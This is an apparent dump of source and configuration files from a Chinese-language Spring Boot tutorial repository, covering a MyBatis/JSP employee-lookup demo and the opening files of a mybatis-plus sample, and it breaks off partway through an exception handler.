    "content": "package com.jun.plugin.mybatis.properties;\n\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.stereotype.Component;\n\n/**\n * Create Date: 2017/11/05\n * Description: SpringBoot入门案例之作者实体类\n *\n * @author Wujun\n */\n@Component\n@ConfigurationProperties(prefix = \"author\")\npublic class AuthorProperties {\n    private String auId;\n    private String auName;\n    private String email;\n\n    public String getAuId() {\n        return auId;\n    }\n\n    public void setAuId(String auId) {\n        this.auId = auId;\n    }\n\n    public String getAuName() {\n        return auName;\n    }\n\n    public void setAuName(String auName) {\n        this.auName = auName;\n    }\n\n    public String getEmail() {\n        return email;\n    }\n\n    public void setEmail(String email) {\n        this.email = email;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/response/DataResponse.java",
    "content": "package com.jun.plugin.mybatis.response;\n\nimport com.jun.plugin.mybatis.enums.ResponseCodeEnum;\n\n/**\n * Create Date: 2017/11/06\n * Description: 控制器统一返回实体类\n *\n * @author Wujun\n */\npublic class DataResponse<T> {\n    private boolean isSuccess;\n    private T data;\n    private String code;\n    private String message;\n\n    /**\n     * 成功构造函数\n     * @param data 返回数据\n     */\n    public DataResponse(T data) {\n        this(true,data);\n    }\n\n    /**\n     * 成功构造\n     * @param isSuccess 成功标志\n     * @param data 返回数据\n     */\n    public DataResponse(boolean isSuccess, T data) {\n        this.isSuccess = isSuccess;\n        this.data = data;\n        this.code = \"10000\";\n        this.message = \"请求成功\";\n    }\n\n    public DataResponse(boolean isSuccess, ResponseCodeEnum codeEnum) {\n        this.isSuccess = isSuccess;\n        this.code = codeEnum.getCode();\n        this.message = codeEnum.getMessage();\n    }\n\n    public boolean isSuccess() {\n        return isSuccess;\n    }\n\n    public void setSuccess(boolean success) {\n        isSuccess = success;\n    }\n\n    public T getData() {\n        return data;\n    }\n\n    public void setData(T data) {\n        this.data = data;\n    }\n\n    public String getCode() {\n        return code;\n    }\n\n    public void setCode(String code) {\n        this.code = code;\n    }\n\n    public String getMessage() {\n        return message;\n    }\n\n    public void setMessage(String message) {\n        this.message = message;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/response/PageResponse.java",
    "content": "package com.jun.plugin.mybatis.response;\n\nimport java.util.List;\n\n/**\n * Create Date: 2017/11/06\n * Description: 分页信息返回实体类\n *\n * @author Wujun\n */\npublic class PageResponse<T> {\n    /***\n     * 当前页\n     */\n    private Integer curNo;\n    /**\n     * 页码大小\n     */\n    private Integer pageSize;\n    /**\n     * 总页数\n     */\n    private Integer totalNum;\n    /**\n     * 页面数据\n     */\n    private List<T> pageData;\n\n    public Integer getCurNo() {\n        return curNo;\n    }\n\n    public void setCurNo(Integer curNo) {\n        this.curNo = curNo;\n    }\n\n    public Integer getTotalNum() {\n        return totalNum;\n    }\n\n    public void setTotalNum(Integer totalNum) {\n        this.totalNum = totalNum;\n    }\n\n    public Integer getPageSize() {\n        return pageSize;\n    }\n\n    public void setPageSize(Integer pageSize) {\n        this.pageSize = pageSize;\n    }\n\n    public List<T> getPageData() {\n        return pageData;\n    }\n\n    public void setPageData(List<T> pageData) {\n        this.pageData = pageData;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/service/business/EmployService.java",
    "content": "package com.jun.plugin.mybatis.service.business;\n\nimport java.math.BigDecimal;\n\nimport com.jun.plugin.mybatis.model.business.Employ;\n\n/**\n * Create Date: 2017/11/06\n * Description: 员工Service服务接口\n *\n * @author Wujun\n */\npublic interface EmployService {\n    /**\n     * 查询员工信息\n     * @param empno 员工编号\n     * @return 员工信息\n     */\n    Employ queryEmploy(String empno);\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/java/com/jun/plugin/mybatis/service/business/impl/EmployServiceImpl.java",
    "content": "package com.jun.plugin.mybatis.service.business.impl;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport com.jun.plugin.mybatis.enums.ResponseCodeEnum;\nimport com.jun.plugin.mybatis.exeception.BusinessException;\nimport com.jun.plugin.mybatis.mapper.business.EmployMapper;\nimport com.jun.plugin.mybatis.model.business.Employ;\nimport com.jun.plugin.mybatis.service.business.EmployService;\n\nimport java.math.BigDecimal;\n\n/**\n * Create Date: 2017/11/06\n * Description: 员工服务接口实现类\n *\n * @author Wujun\n */\n@Service\npublic class EmployServiceImpl implements EmployService {\n\n    @Autowired\n    private EmployMapper employMapper;\n\n    @Override\n    public Employ queryEmploy(String empno) {\n        //FIXME 此处有可能会抛出转换异常\n        Integer intEmpno = null;\n        try {\n            intEmpno = Integer.parseInt(empno);\n        } catch (NumberFormatException e) {\n            throw new BusinessException(ResponseCodeEnum.EMP_NUMBER_FORMAT);\n        }\n        BigDecimal bigDecimal = new BigDecimal(intEmpno);\n        Employ employ = employMapper.selectByPrimaryKey(bigDecimal);\n        if (employ==null){\n            throw new BusinessException(ResponseCodeEnum.EMP_NULL_POINTER);\n        }\n        return employ;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/resources/application.yml",
    "content": "server:\n  context-path: /web\n\nspring:\n  datasource:\n    druid:\n      # 数据库访问配置, 使用druid数据源\n      type: com.alibaba.druid.pool.DruidDataSource\n#      driver-class-name: oracle.jdbc.driver.OracleDriver\n#      url: jdbc:oracle:thin:@localhost:1521:ORCL\n#      username: test\n#      password: 123456\n      username: root\n      password: \n      url: jdbc:mysql://127.0.0.1:3306/test666?useUnicode=true&characterEncoding=UTF-8&useSSL=false&autoReconnect=true&failOverReadOnly=false&serverTimezone=GMT%2B8\n      driver-class-name: com.mysql.cj.jdbc.Driver\n      # 连接池配置\n      initial-size: 5\n      min-idle: 5\n      max-active: 20\n      # 连接等待超时时间\n      max-wait: 30000\n      # 配置检测可以关闭的空闲连接间隔时间\n      time-between-eviction-runs-millis: 60000\n      # 配置连接在池中的最小生存时间\n      min-evictable-idle-time-millis: 300000\n      validation-query: select '1' from dual\n      test-while-idle: true\n      test-on-borrow: false\n      test-on-return: false\n      # 打开PSCache，并且指定每个连接上PSCache的大小\n      pool-prepared-statements: true\n      max-open-prepared-statements: 20\n      max-pool-prepared-statement-per-connection-size: 20\n      # 配置监控统计拦截的filters, 去掉后监控界面sql无法统计, 'wall'用于防火墙\n      filters: stat,wall\n      # Spring监控AOP切入点，如x.y.z.service.*,配置多个英文逗号分隔\n      aop-patterns: com.springboot.servie.*\n      \n    \n      # WebStatFilter配置\n      web-stat-filter:\n        enabled: true\n        # 添加过滤规则\n        url-pattern: /*\n        # 忽略过滤的格式\n        exclusions: '*.js,*.gif,*.jpg,*.png,*.css,*.ico,/druid/*'\n      \n      # StatViewServlet配置 \n      stat-view-servlet:\n        enabled: true\n        # 访问路径为/druid时，跳转到StatViewServlet\n        url-pattern: /druid/*\n        # 是否能够重置数据\n        reset-enable: false\n        # 需要账号密码才能访问控制台\n        login-username: druid\n        login-password: druid123\n        # IP白名单\n        # allow: 127.0.0.1\n        #　IP黑名单（共同存在时，deny优先于allow）\n        # deny: 192.168.1.218\n      \n      # 配置StatFilter\n      filter: \n        stat: \n          log-slow-sql: true\n     "
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/resources/config/application-development.yml",
    "content": "#服务容器配置\nserver:\n  port: 9999\n  context-path: /kiwipeach\n#实体bean属性配置\nauthor:\n  auId: 10086\n  auName: 孙悟空\n  email: sunwukong@qq.com\n\n#数据库数据源配置、SpringMVC视图配置\n\nspring:\n    datasource:\n        name: test\n        url: jdbc:oracle:thin:@127.0.0.1:1521:orcl\n        username: scott\n        password: 123456\n        type: com.alibaba.druid.pool.DruidDataSource\n        driver-class-name: oracle.jdbc.driver.OracleDriver\n        filters: stat\n        maxActive: 20\n        initialSize: 1\n        maxWait: 60000\n        minIdle: 1\n        timeBetweenEvictionRunsMillis: 60000\n        minEvictableIdleTimeMillis: 300000\n        validationQuery: select 'x'\n        testWhileIdle: true\n        testOnBorrow: false\n        testOnReturn: false\n        poolPreparedStatements: true\n        maxOpenPreparedStatements: 20\n    mvc:\n      view:\n        prefix: /WEB-INF/jsp/\n        suffix: .jsp\n\n#Mybatis配置\nmybatis:\n  mapperLocations: classpath:mappings/**/*.xml\n  typeAliasesPackage: cn.example.business.model\n  executorType: SIMPLE\n\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/resources/config/application-product.yml",
    "content": "server:\n  port: 8888\n  context-path: /kiwipeach\nspring:\n  mvc:\n    view:\n      prefix: /WEB-INF/jsp/\n      suffix: .jsp\n\n\n#author:\n#  auId: 10086\n#  auName: 卡卡罗特\n#  email: kakaluote@qq.com"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/resources/config/application.yml",
    "content": "spring:\n  profiles:\n    active: development"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/resources/mappings/business/DepartmentMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"com.jun.plugin.mybatis.model.business.DepartmentMapper\">\n  <resultMap id=\"BaseResultMap\" type=\"com.jun.plugin.mybatis.model.business.Department\">\n    <id column=\"DEPTNO\" jdbcType=\"DECIMAL\" property=\"deptno\" />\n    <result column=\"DNAME\" jdbcType=\"VARCHAR\" property=\"dname\" />\n    <result column=\"LOC\" jdbcType=\"VARCHAR\" property=\"loc\" />\n  </resultMap>\n  <sql id=\"Base_Column_List\">\n    DEPTNO, DNAME, LOC\n  </sql>\n  <select id=\"selectByPrimaryKey\" parameterType=\"java.math.BigDecimal\" resultMap=\"BaseResultMap\">\n    select \n    <include refid=\"Base_Column_List\" />\n    from DEPT\n    where DEPTNO = #{deptno,jdbcType=DECIMAL}\n  </select>\n  <delete id=\"deleteByPrimaryKey\" parameterType=\"java.math.BigDecimal\">\n    delete from DEPT\n    where DEPTNO = #{deptno,jdbcType=DECIMAL}\n  </delete>\n  <insert id=\"insert\" parameterType=\"com.jun.plugin.mybatis.model.business.Department\">\n    insert into DEPT (DEPTNO, DNAME, LOC\n      )\n    values (#{deptno,jdbcType=DECIMAL}, #{dname,jdbcType=VARCHAR}, #{loc,jdbcType=VARCHAR}\n      )\n  </insert>\n  <insert id=\"insertSelective\" parameterType=\"com.jun.plugin.mybatis.model.business.Department\">\n    insert into DEPT\n    <trim prefix=\"(\" suffix=\")\" suffixOverrides=\",\">\n      <if test=\"deptno != null\">\n        DEPTNO,\n      </if>\n      <if test=\"dname != null\">\n        DNAME,\n      </if>\n      <if test=\"loc != null\">\n        LOC,\n      </if>\n    </trim>\n    <trim prefix=\"values (\" suffix=\")\" suffixOverrides=\",\">\n      <if test=\"deptno != null\">\n        #{deptno,jdbcType=DECIMAL},\n      </if>\n      <if test=\"dname != null\">\n        #{dname,jdbcType=VARCHAR},\n      </if>\n      <if test=\"loc != null\">\n        #{loc,jdbcType=VARCHAR},\n      </if>\n    </trim>\n  </insert>\n  <update id=\"updateByPrimaryKeySelective\" parameterType=\"com.jun.plugin.mybatis.model.business.Department\">\n    update DEPT\n    <set>\n      <if test=\"dname != null\">\n        DNAME = #{dname,jdbcType=VARCHAR},\n      </if>\n      <if test=\"loc != null\">\n        LOC = #{loc,jdbcType=VARCHAR},\n      </if>\n    </set>\n    where DEPTNO = #{deptno,jdbcType=DECIMAL}\n  </update>\n  <update id=\"updateByPrimaryKey\" parameterType=\"com.jun.plugin.mybatis.model.business.Department\">\n    update DEPT\n    set DNAME = #{dname,jdbcType=VARCHAR},\n      LOC = #{loc,jdbcType=VARCHAR}\n    where DEPTNO = #{deptno,jdbcType=DECIMAL}\n  </update>\n</mapper>"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/resources/mappings/business/EmployMapper.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\" \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"com.jun.plugin.mybatis.mapper.business.EmployMapper\">\n  <resultMap id=\"BaseResultMap\" type=\"com.jun.plugin.mybatis.model.business.Employ\">\n    <id column=\"EMPNO\" jdbcType=\"DECIMAL\" property=\"empno\" />\n    <result column=\"ENAME\" jdbcType=\"VARCHAR\" property=\"ename\" />\n    <result column=\"JOB\" jdbcType=\"VARCHAR\" property=\"job\" />\n    <result column=\"MGR\" jdbcType=\"DECIMAL\" property=\"mgr\" />\n    <result column=\"HIREDATE\" jdbcType=\"TIMESTAMP\" property=\"hiredate\" />\n    <result column=\"SAL\" jdbcType=\"DECIMAL\" property=\"sal\" />\n    <result column=\"COMM\" jdbcType=\"DECIMAL\" property=\"comm\" />\n    <result column=\"DEPTNO\" jdbcType=\"DECIMAL\" property=\"deptno\" />\n  </resultMap>\n  <sql id=\"Base_Column_List\">\n    EMPNO, ENAME, JOB, MGR, HIREDATE, SAL, COMM, DEPTNO\n  </sql>\n  <select id=\"selectByPrimaryKey\" parameterType=\"java.math.BigDecimal\" resultMap=\"BaseResultMap\">\n    select \n    <include refid=\"Base_Column_List\" />\n    from EMP\n    where EMPNO = #{empno,jdbcType=DECIMAL}\n  </select>\n  <delete id=\"deleteByPrimaryKey\" parameterType=\"java.math.BigDecimal\">\n    delete from EMP\n    where EMPNO = #{empno,jdbcType=DECIMAL}\n  </delete>\n  <insert id=\"insert\" parameterType=\"com.jun.plugin.mybatis.model.business.Employ\">\n    insert into EMP (EMPNO, ENAME, JOB, \n      MGR, HIREDATE, SAL, \n      COMM, DEPTNO)\n    values (#{empno,jdbcType=DECIMAL}, #{ename,jdbcType=VARCHAR}, #{job,jdbcType=VARCHAR}, \n      #{mgr,jdbcType=DECIMAL}, #{hiredate,jdbcType=TIMESTAMP}, #{sal,jdbcType=DECIMAL}, \n      #{comm,jdbcType=DECIMAL}, #{deptno,jdbcType=DECIMAL})\n  </insert>\n  <insert id=\"insertSelective\" parameterType=\"com.jun.plugin.mybatis.model.business.Employ\">\n    insert into EMP\n    <trim prefix=\"(\" suffix=\")\" suffixOverrides=\",\">\n      <if test=\"empno != null\">\n        EMPNO,\n      </if>\n      <if test=\"ename != null\">\n        ENAME,\n      </if>\n      <if test=\"job != null\">\n        JOB,\n      </if>\n      <if test=\"mgr != null\">\n        MGR,\n      </if>\n      <if test=\"hiredate != null\">\n        HIREDATE,\n      </if>\n      <if test=\"sal != null\">\n        SAL,\n      </if>\n      <if test=\"comm != null\">\n        COMM,\n      </if>\n      <if test=\"deptno != null\">\n        DEPTNO,\n      </if>\n    </trim>\n    <trim prefix=\"values (\" suffix=\")\" suffixOverrides=\",\">\n      <if test=\"empno != null\">\n        #{empno,jdbcType=DECIMAL},\n      </if>\n      <if test=\"ename != null\">\n        #{ename,jdbcType=VARCHAR},\n      </if>\n      <if test=\"job != null\">\n        #{job,jdbcType=VARCHAR},\n      </if>\n      <if test=\"mgr != null\">\n        #{mgr,jdbcType=DECIMAL},\n      </if>\n      <if test=\"hiredate != null\">\n        #{hiredate,jdbcType=TIMESTAMP},\n      </if>\n      <if test=\"sal != null\">\n        #{sal,jdbcType=DECIMAL},\n      </if>\n      <if test=\"comm != null\">\n        #{comm,jdbcType=DECIMAL},\n      </if>\n      <if test=\"deptno != null\">\n        #{deptno,jdbcType=DECIMAL},\n      </if>\n    </trim>\n  </insert>\n  <update id=\"updateByPrimaryKeySelective\" parameterType=\"com.jun.plugin.mybatis.model.business.Employ\">\n    update EMP\n    <set>\n      <if test=\"ename != null\">\n        ENAME = #{ename,jdbcType=VARCHAR},\n      </if>\n      <if test=\"job != null\">\n        JOB = #{job,jdbcType=VARCHAR},\n      </if>\n      <if test=\"mgr != null\">\n        MGR = #{mgr,jdbcType=DECIMAL},\n      </if>\n      <if test=\"hiredate != null\">\n        HIREDATE = #{hiredate,jdbcType=TIMESTAMP},\n      </if>\n      <if test=\"sal != null\">\n        SAL = #{sal,jdbcType=DECIMAL},\n      </if>\n      <if test=\"comm != null\">\n        COMM = #{comm,jdbcType=DECIMAL},\n      </if>\n      <if test=\"deptno != null\">\n        DEPTNO = #{deptno,jdbcType=DECIMAL},\n      </if>\n    </set>\n    where EMPNO = #{empno,jdbcType=DECIMAL}\n  </update>\n  <update id=\"updateByPrimaryKey\" parameterType=\"com.jun.plugin.mybatis.model.business.Employ\">\n    update EMP\n    set ENAME = #{ename,jdbcType=VARCHAR},\n      JOB = #{job,jdbcType=VARCHAR},\n      MGR = #{mgr,jdbcType=DECIMAL},\n      HIREDATE = #{hiredate,jdbcType=TIMESTAMP},\n      SAL = #{sal,jdbcType=DECIMAL},\n      COMM = #{comm,jdbcType=DECIMAL},\n      DEPTNO = #{deptno,jdbcType=DECIMAL}\n    where EMPNO = #{empno,jdbcType=DECIMAL}\n  </update>\n</mapper>"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/webapp/WEB-INF/jsp/spring-boot.jsp",
    "content": "<%--\n  Created by IntelliJ IDEA.\n  User: liuburu\n  Date: 2017/11/5\n  Time: 16:15\n  To change this template use File | Settings | File Templates.\n--%>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<html>\n<head>\n    <title>SpringBoot的第一个JSP页面</title>\n</head>\n<body>\n名称:${apple.name}\n价钱:${apple.price}\n</body>\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/webapp/WEB-INF/jsp/welcome.jsp",
    "content": "\n<!DOCTYPE html>\n\n<%@ taglib prefix=\"spring\" uri=\"http://www.springframework.org/tags\"%>\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\"%>\n\n<html lang=\"en\">\n\n<body>\n\t<spring:url value=\"/resources/text.txt\" var=\"springUrl\" />\n\tSpring URL: ${springUrl} at ${time}\n\t<br>\n\tJSTL URL: ${url}\n\t<br>\n\tMessage: ${message}\n</body>\n\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns=\"http://xmlns.jcp.org/xml/ns/javaee\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd\"\n         version=\"3.1\">\n</web-app>"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis_jsp/src/test/java/DemoApplicationTests.java",
    "content": "import org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\nimport com.jun.plugin.mybatis.RunApplication;\nimport com.jun.plugin.mybatis.mapper.business.EmployMapper;\nimport com.jun.plugin.mybatis.model.business.Employ;\n\nimport javax.sql.DataSource;\nimport java.math.BigDecimal;\nimport java.sql.Connection;\nimport java.sql.SQLException;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest(classes = RunApplication.class)\npublic class DemoApplicationTests {\n\n\t@Autowired\n\tprivate DataSource dataSource;\n\n\t@Autowired\n    private EmployMapper employMapper;\n\n\t@Test\n\tpublic void contextLoads() throws SQLException {\n\t    //1.数据源测试\n        Connection connection = dataSource.getConnection();\n        System.out.println(connection);\n        //2.数据库查询测试\n        Employ employ = employMapper.selectByPrimaryKey(new BigDecimal(7777));\n        System.out.println(employ);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/README.md",
    "content": "# mybatis-plus\n\n[该案例已经迁移到 mybatis-plus-samples 点击进入 ](https://gitee.com/baomidou/mybatis-plus-samples)\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/build.gradle",
    "content": "ext {\n    configuration = [\n            javaVersion = JavaVersion.VERSION_1_8\n    ]\n\n    // 仓库配置\n    repositories {\n        mavenLocal()\n        maven { url \"http://maven.aliyun.com/nexus/content/groups/public/\" }\n        maven { url 'https://repo.spring.io/libs-milestone' }\n        maven { url \"https://oss.sonatype.org/content/repositories/snapshots/\" }\n        jcenter()\n    }\n}\n\n// 编译脚本\nbuildscript {\n    ext {\n        springBootVersion = \"2.0.3.RELEASE\"\n        mybatisPlusVersion = \"3.0.5-SNAPSHOT\"\n    }\n\n    // 仓库配置\n    repositories {\n        mavenLocal()\n        maven { url \"http://maven.aliyun.com/nexus/content/groups/public/\" }\n        maven { url 'https://repo.spring.io/libs-milestone' }\n        maven { url \"https://oss.sonatype.org/content/repositories/snapshots/\" }\n        jcenter()\n    }\n\n    dependencies {\n        classpath(\"org.springframework.boot:spring-boot-gradle-plugin:${springBootVersion}\")\n    }\n}\n\napply plugin: \"java\"\napply plugin: \"maven\"\napply plugin: \"idea\"\napply plugin: 'org.springframework.boot'\napply plugin: \"io.spring.dependency-management\"\n\ngroup = \"com.patzn.cloud\"\nversion = \"1.0\"\ndescription \"MP SpringBoot 案例\"\n\nsourceCompatibility = \"${javaVersion}\"\ntargetCompatibility = \"${javaVersion}\"\n\ntasks.withType(JavaCompile) {\n    options.encoding = \"UTF-8\"\n}\n\nconfigurations {\n//    compile.exclude group: \"ch.qos.logback\"\n    compile.exclude group: \"com.amazonaws\"\n    compile.exclude group: \"org.apache.tomcat\"\n    compile.exclude module: \"spring-boot-starter-tomcat\"\n}\n\n// 依赖管理\ndependencyManagement {\n    imports {\n        mavenBom \"org.springframework.boot:spring-boot-dependencies:${springBootVersion}\"\n    }\n}\n\ndependencies {\n    compile(\"org.springframework.boot:spring-boot-starter-web:${springBootVersion}\")\n    compile(\"org.springframework.boot:spring-boot-starter-undertow:${springBootVersion}\")\n    compile(\"com.h2database:h2:1.4.197\")\n    compile(\"com.zaxxer:HikariCP:3.2.0\")\n    compile(\"com.baomidou:mybatis-plus-boot-starter:${mybatisPlusVersion}\")\n\n    compileOnly(\"org.springframework.boot:spring-boot-devtools:${springBootVersion}\")\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>springboot_mybatisplus</artifactId>\n    <version>1.0</version>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.0.3.RELEASE</version>\n        <relativePath></relativePath>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <mybatis-plus-boot-starter.version>3.0-RC3</mybatis-plus-boot-starter.version>\n        <HikariCP.version>3.2.0</HikariCP.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jetty</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.h2database</groupId>\n            <artifactId>h2</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.zaxxer</groupId>\n            <artifactId>HikariCP</artifactId>\n            <version>${HikariCP.version}</version>\n        </dependency>\n\n        <!-- mybatis-plus begin -->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n            <version>3.0.5</version>\n        </dependency>\n        <!-- mybatis-plus end -->\n    </dependencies>\n    \n    <repositories>\n        <!--阿里云仓库-->\n        <repository>\n            <id>aliyun</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n        </repository>\n        <!--快照版本使用,正式版本无需添加此仓库-->\n        <repository>\n            <id>snapshots</id>\n            <url>https://oss.sonatype.org/content/repositories/snapshots/</url>\n        </repository>\n    </repositories>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/main/java/com/jun/plugin/springboot/mybatisplus/Application.java",
    "content": "package com.jun.plugin.springboot.mybatisplus;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.Banner;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.transaction.annotation.EnableTransactionManagement;\n\n/**\n * mybatis-plus Spring Boot 测试 Demo<br>\n * 文档：http://mp.baomidou.com<br>\n */\n@EnableTransactionManagement\n@SpringBootApplication\n@ComponentScan(basePackages = {\n        \"com.baomidou.springboot.config\",\n        \"com.baomidou.springboot.controller\",\n        \"com.baomidou.springboot.service\"})\npublic class Application {\n\n    protected final static Logger logger = LoggerFactory.getLogger(Application.class);\n\n    /**\n     * <p>\n     * 测试 RUN<br>\n     * 查看 h2 数据库控制台：http://localhost:8080/console<br>\n     * 使用：JDBC URL 设置 jdbc:h2:mem:testdb 用户名 sa 密码 sa 进入，可视化查看 user 表<br>\n     * 误删连接设置，开发机系统本地 ~/.h2.server.properties 文件<br>\n     * <br>\n     * 1、http://localhost:8080/user/test<br>\n     * 2、http://localhost:8080/user/test1<br>\n     * 3、http://localhost:8080/user/test2<br>\n     * 4、http://localhost:8080/user/test3<br>\n     * 5、http://localhost:8080/user/add<br>\n     * 6、http://localhost:8080/user/selectsql<br>\n     * 7、分页 size 一页显示数量  current 当前页码\n     * 方式一：http://localhost:8080/user/page?size=1&current=1<br>\n     * 方式二：http://localhost:8080/user/pagehelper?size=1&current=1<br>\n     * </p>\n     */\n    public static void main(String[] args) {\n        SpringApplication app = new SpringApplication(Application.class);\n        app.setBannerMode(Banner.Mode.OFF);\n        app.run(args);\n        logger.info(\"PortalApplication is success!\");\n        System.err.println(\"sample started. http://localhost:8080/user/test\");\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/main/java/com/jun/plugin/springboot/mybatisplus/ErrorCode.java",
    "content": "package com.jun.plugin.springboot.mybatisplus;\n\nimport com.baomidou.mybatisplus.extension.api.IErrorCode;\n\npublic enum ErrorCode implements IErrorCode {\n    TEST(1000, \"测试错误编码\");\n\n    private long code;\n    private String msg;\n\n    ErrorCode(final long code, final String msg) {\n        this.code = code;\n        this.msg = msg;\n    }\n\n    @Override\n    public long getCode() {\n        return code;\n    }\n\n    @Override\n    public String getMsg() {\n        return msg;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/main/java/com/jun/plugin/springboot/mybatisplus/SuperMapper.java",
    "content": "package com.jun.plugin.springboot.mybatisplus;\n\n\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\n\n/**\n * 演示 mapper 父类，注意这个类不要让 mp 扫描到！！\n */\npublic interface SuperMapper<T> extends BaseMapper<T> {\n\n    // 这里可以放一些公共的方法\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatisplus/src/main/java/com/jun/plugin/springboot/mybatisplus/config/GlobalExceptionHandler.java",
    "content": "package com.jun.plugin.springboot.mybatisplus.config;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.validation.BindException;\nimport org.springframework.validation.BindingResult;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.bind.annotation.RestControllerAdvice;\n\nimport com.baomidou.mybatisplus.extension.api.IErrorCode;\nimport com.baomidou.mybatisplus.extension.api.R;\nimport com.baomidou.mybatisplus.extension.enums.ApiErrorCode;\nimport com.baomidou.mybatisplus.extension.exceptions.ApiException;\n\n/**\n * <p>\n * 通用 Api Controller 全局异常处理\n * </p>\n */\n@RestControllerAdvice\npublic class GlobalExceptionHandler {\n\n    private static final Logger logger = LoggerFactory.getLogger(GlobalExceptionHandler.class);\n\n    /**\n     * <p>\n     * 自定义 REST 业务异常\n     * <p>\n     *\n     * @param e 异常类型\n     * @return\n     */\n    @ExceptionHandler(value = Exception.class)\n    public R<Object> handleBadRequest(Exception e) {\n        /*\n         * 业务逻辑异常\n         */\n        if (e instanceof ApiException) {\n            IErrorCode errorCode = ((ApiException) e).getErrorCode();\n            if (null != errorCode) {\n                logger.debug(\"Rest request error, {}\", errorCode.toString());\n                return R.failed(errorCode);\n            }\n            logger.debug(\"Rest request error, {}\", e.getMessage());\n            return R.failed(e.getMessage());\n        }\n\n        /*\n         * 参数校验异常\n         */\n        if (e instanceof BindException) {\n            BindingResult bindingResult = ((BindException) e).getBindingResult();\n            if (null != bindingResult && bindingResult.hasErrors()) {\n                List<Object> jsonList = new ArrayList<>();\n                bindingResult.getFieldErrors().stream().forEach(fieldError -> {\n                    Map<String, Object> jsonObject = new HashMap<>(2);\n                    jsonObject.put(\"name\", fieldError.getField());\n                    